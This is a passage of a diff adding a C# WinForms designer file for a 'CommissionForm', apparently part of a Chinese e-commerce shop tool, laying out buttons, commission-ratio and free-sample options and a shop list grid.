DevComponents.DotNetBar.PanelEx(); + this.btnEditSampleRule = new DevComponents.DotNetBar.PanelEx(); + this.btnStop = new DevComponents.DotNetBar.PanelEx(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.rbFreeSample = new System.Windows.Forms.RadioButton(); + this.rbNoSample = new System.Windows.Forms.RadioButton(); + this.label10 = new System.Windows.Forms.Label(); + this.txtRatio = new System.Windows.Forms.TextBox(); + this.txtTotalPage = new System.Windows.Forms.TextBox(); + this.label26 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnRefresh = new LittleRabbit.UserControls.ButtonEx(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.rbNew = new System.Windows.Forms.RadioButton(); + this.rbAll = new System.Windows.Forms.RadioButton(); + this.btnPause = new LittleRabbit.UserControls.ButtonEx(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLoginStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + this.pnlShowError = new DevComponents.DotNetBar.PanelEx(); + this.splitContainer4 = new System.Windows.Forms.SplitContainer(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx2.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.Panel2.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.panelEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).BeginInit(); + this.splitContainer4.Panel1.SuspendLayout(); + this.splitContainer4.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.btnStart); + this.splitContainer1.Panel1.Controls.Add(this.btnEditSampleRule); + this.splitContainer1.Panel1.Controls.Add(this.btnStop); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx2); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer3); + this.splitContainer1.Size = new System.Drawing.Size(1070, 606); + this.splitContainer1.SplitterDistance = 80; + this.splitContainer1.TabIndex = 3; + // + // btnStart + // + this.btnStart.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStart.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStart.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnStart.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStart.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnStart.Location = new System.Drawing.Point(830, 12); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(72, 23); + this.btnStart.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStart.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStart.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStart.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnStart.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnStart.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnStart.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnStart.Style.GradientAngle = 90; + this.btnStart.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStart.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnStart.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnStart.TabIndex = 413; + this.btnStart.Text = "新增佣金"; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // btnEditSampleRule + // + this.btnEditSampleRule.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnEditSampleRule.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnEditSampleRule.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnEditSampleRule.DisabledBackColor = System.Drawing.Color.Empty; + this.btnEditSampleRule.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnEditSampleRule.Location = new System.Drawing.Point(908, 12); + this.btnEditSampleRule.Name = "btnEditSampleRule"; + this.btnEditSampleRule.Size = new System.Drawing.Size(72, 23); + this.btnEditSampleRule.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnEditSampleRule.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnEditSampleRule.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnEditSampleRule.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnEditSampleRule.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnEditSampleRule.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnEditSampleRule.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnEditSampleRule.Style.GradientAngle = 90; + this.btnEditSampleRule.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnEditSampleRule.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnEditSampleRule.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnEditSampleRule.TabIndex = 409; + this.btnEditSampleRule.Text = "修改申样"; + this.btnEditSampleRule.Click += new System.EventHandler(this.btnEditSampleRule_Click); + // + // btnStop + // + this.btnStop.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStop.CanvasColor = System.Drawing.SystemColors.Control; + this.btnStop.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnStop.DisabledBackColor = System.Drawing.Color.Empty; + this.btnStop.Location = new System.Drawing.Point(986, 12); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(72, 23); + this.btnStop.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnStop.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStop.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnStop.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnStop.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnStop.Style.GradientAngle = 90; + this.btnStop.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnStop.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnStop.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnStop.TabIndex = 405; + this.btnStop.Text = "停止操作"; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.rbFreeSample); + this.ucGroupBoxEx2.Controls.Add(this.rbNoSample); + this.ucGroupBoxEx2.Controls.Add(this.label10); + this.ucGroupBoxEx2.Controls.Add(this.txtRatio); + this.ucGroupBoxEx2.Controls.Add(this.txtTotalPage); + this.ucGroupBoxEx2.Controls.Add(this.label26); + this.ucGroupBoxEx2.Controls.Add(this.label1); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(147, 2); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(272, 79); + this.ucGroupBoxEx2.TabIndex = 400; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "参数设置"; + // + // rbFreeSample + // + this.rbFreeSample.AutoSize = true; + this.rbFreeSample.Location = new System.Drawing.Point(15, 52); + this.rbFreeSample.Name = "rbFreeSample"; + this.rbFreeSample.Size = new System.Drawing.Size(71, 16); + this.rbFreeSample.TabIndex = 432; + this.rbFreeSample.Text = "免费申样"; + this.rbFreeSample.UseVisualStyleBackColor = true; + // + // rbNoSample + // + this.rbNoSample.AutoSize = true; + this.rbNoSample.Checked = true; + this.rbNoSample.Location = new System.Drawing.Point(92, 52); + this.rbNoSample.Name = "rbNoSample"; + this.rbNoSample.Size = new System.Drawing.Size(83, 16); + this.rbNoSample.TabIndex = 431; + this.rbNoSample.TabStop = true; + this.rbNoSample.Text = "不支持申样"; + this.rbNoSample.UseVisualStyleBackColor = true; + // + // label10 + // + this.label10.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label10.AutoSize = true; + this.label10.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label10.ForeColor = System.Drawing.Color.Black; + this.label10.Location = new System.Drawing.Point(223, 24); + this.label10.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(19, 17); + this.label10.TabIndex = 429; + this.label10.Text = "%"; + // + // txtRatio + // + this.txtRatio.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.txtRatio.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtRatio.Location = new System.Drawing.Point(195, 21); + this.txtRatio.Margin = new System.Windows.Forms.Padding(2); + this.txtRatio.Name = "txtRatio"; + this.txtRatio.Size = new System.Drawing.Size(28, 23); + this.txtRatio.TabIndex = 428; + this.txtRatio.Text = "10"; + // + // txtTotalPage + // + this.txtTotalPage.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtTotalPage.Location = new System.Drawing.Point(78, 21); + this.txtTotalPage.Margin = new System.Windows.Forms.Padding(2); + this.txtTotalPage.Name = "txtTotalPage"; + this.txtTotalPage.Size = new System.Drawing.Size(35, 23); + this.txtTotalPage.TabIndex = 381; + this.txtTotalPage.Text = "99"; + // + // label26 + // + this.label26.AutoSize = true; + this.label26.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label26.Location = new System.Drawing.Point(12, 24); + this.label26.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label26.Name = "label26"; + this.label26.Size = new System.Drawing.Size(68, 17); + this.label26.TabIndex = 380; + this.label26.Text = "设置页数:"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label1.Location = new System.Drawing.Point(132, 24); + this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(68, 17); + this.label1.TabIndex = 430; + this.label1.Text = "佣金比例:"; + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.btnRefresh); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(2, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(144, 79); + this.ucGroupBoxEx1.TabIndex = 399; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "基础"; + // + // btnRefresh + // + this.btnRefresh.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefresh.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefresh.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRefresh.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRefresh.ForeColor = System.Drawing.Color.White; + this.btnRefresh.Location = new System.Drawing.Point(15, 31); + this.btnRefresh.Margin = new System.Windows.Forms.Padding(2); + this.btnRefresh.Name = "btnRefresh"; + this.btnRefresh.Size = new System.Drawing.Size(112, 26); + this.btnRefresh.TabIndex = 398; + this.btnRefresh.Text = "刷新店铺"; + this.btnRefresh.UseVisualStyleBackColor = false; + this.btnRefresh.Click += new System.EventHandler(this.btnRefresh_Click); + // + // splitContainer3 + // + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + this.splitContainer3.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.splitContainer2); + // + // splitContainer3.Panel2 + // + this.splitContainer3.Panel2.Controls.Add(this.splitContainer4); + this.splitContainer3.Size = new System.Drawing.Size(1070, 522); + this.splitContainer3.SplitterDistance = 492; + this.splitContainer3.TabIndex = 1; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.rbNew); + this.splitContainer2.Panel1.Controls.Add(this.rbAll); + this.splitContainer2.Panel1.Controls.Add(this.btnPause); + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 0, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.panelEx1); + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(0, 0, 4, 0); + this.splitContainer2.Size = new System.Drawing.Size(1070, 492); + this.splitContainer2.SplitterDistance = 336; + this.splitContainer2.TabIndex = 0; + // + // rbNew + // + this.rbNew.AutoSize = true; + this.rbNew.Checked = true; + this.rbNew.Location = new System.Drawing.Point(26, 46); + this.rbNew.Name = "rbNew"; + this.rbNew.Size = new System.Drawing.Size(107, 16); + this.rbNew.TabIndex = 396; + this.rbNew.TabStop = true; + this.rbNew.Text = "设置无佣金商品"; + this.rbNew.UseVisualStyleBackColor = true; + this.rbNew.Visible = false; + // + // rbAll + // + this.rbAll.AutoSize = true; + this.rbAll.Location = new System.Drawing.Point(26, 68); + this.rbAll.Name = "rbAll"; + this.rbAll.Size = new System.Drawing.Size(95, 16); + this.rbAll.TabIndex = 397; + this.rbAll.Text = "设置所有商品"; + this.rbAll.UseVisualStyleBackColor = true; + this.rbAll.Visible = false; + // + // btnPause + // + this.btnPause.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnPause.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnPause.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnPause.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnPause.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnPause.ForeColor = System.Drawing.Color.White; + this.btnPause.Location = new System.Drawing.Point(25, 92); + this.btnPause.Margin = new System.Windows.Forms.Padding(2); + this.btnPause.Name = "btnPause"; + this.btnPause.Size = new System.Drawing.Size(72, 25); + this.btnPause.TabIndex = 388; + this.btnPause.Text = "暂停"; + this.btnPause.UseVisualStyleBackColor = false; + this.btnPause.Visible = false; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colLoginStatus, + this.colMessage}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + this.dgvShop.RowHeadersWidth = 30; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(332, 492); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.HeaderText = "全选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 28; + // + // colShopId + // + this.colShopId.HeaderText = "店铺"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Width = 55; + // + // colShopName + // + this.colShopName.FillWeight = 150F; + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 75; + // + // colLoginStatus + // + this.colLoginStatus.HeaderText = "登录状态"; + this.colLoginStatus.Name = "colLoginStatus"; + this.colLoginStatus.ReadOnly = true; + this.colLoginStatus.Width = 60; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Width = 120; + // + // panelEx1 + // + this.panelEx1.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.Controls.Add(this.pnlShowError); + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panelEx1.Location = new System.Drawing.Point(0, 0); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Padding = new System.Windows.Forms.Padding(1); + this.panelEx1.Size = new System.Drawing.Size(726, 492); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.Color = System.Drawing.Color.White; + this.panelEx1.Style.BackColor2.Color = System.Drawing.Color.White; + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx1.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.TabIndex = 183; + // + // pnlShowError + // + this.pnlShowError.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.pnlShowError.CanvasColor = System.Drawing.Color.Empty; + this.pnlShowError.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlShowError.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlShowError.Location = new System.Drawing.Point(182, 192); + this.pnlShowError.Name = "pnlShowError"; + this.pnlShowError.Size = new System.Drawing.Size(361, 100); + this.pnlShowError.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlShowError.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(163)))), ((int)(((byte)(226)))), ((int)(((byte)(255))))); + this.pnlShowError.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(163)))), ((int)(((byte)(226)))), ((int)(((byte)(255))))); + this.pnlShowError.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlShowError.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlShowError.Style.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlShowError.Style.ForeColor.Color = System.Drawing.Color.Red; + this.pnlShowError.Style.GradientAngle = 90; + this.pnlShowError.TabIndex = 187; + this.pnlShowError.Text = "panelEx3"; + this.pnlShowError.Visible = false; + // + // splitContainer4 + // + this.splitContainer4.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer4.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer4.Location = new System.Drawing.Point(0, 0); + this.splitContainer4.Name = "splitContainer4"; + // + // splitContainer4.Panel1 + // + this.splitContainer4.Panel1.Controls.Add(this.statusBar); + this.splitContainer4.Size = new System.Drawing.Size(1070, 26); + this.splitContainer4.SplitterDistance = 663; + this.splitContainer4.TabIndex = 3; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(663, 26); + this.statusBar.TabIndex = 2; + // + // CommissionForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1070, 606); + this.Controls.Add(this.splitContainer1); + this.Name = "CommissionForm"; + this.Text = "CommissionForm"; + this.Load += new System.EventHandler(this.CommissionForm_Load); + this.VisibleChanged += new System.EventHandler(this.CommissionForm_VisibleChanged); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + this.ucGroupBoxEx1.ResumeLayout(false); + this.splitContainer3.Panel1.ResumeLayout(false); + this.splitContainer3.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel1.PerformLayout(); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.panelEx1.ResumeLayout(false); + this.splitContainer4.Panel1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).EndInit(); + this.splitContainer4.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private UserControls.ButtonEx btnPause; + private System.Windows.Forms.TextBox txtTotalPage; + private System.Windows.Forms.Label label26; + private System.Windows.Forms.SplitContainer splitContainer3; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvShop; + private System.Windows.Forms.SplitContainer splitContainer4; + private UserControls.StatusBarUserControl statusBar; + private System.Windows.Forms.RadioButton rbAll; + private System.Windows.Forms.RadioButton rbNew; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private UserControls.ButtonEx btnRefresh; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.TextBox txtRatio; + private System.Windows.Forms.Label label1; + private DevComponents.DotNetBar.PanelEx panelEx1; + private DevComponents.DotNetBar.PanelEx pnlShowError; + private System.Windows.Forms.RadioButton rbFreeSample; + private System.Windows.Forms.RadioButton rbNoSample; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colLoginStatus; 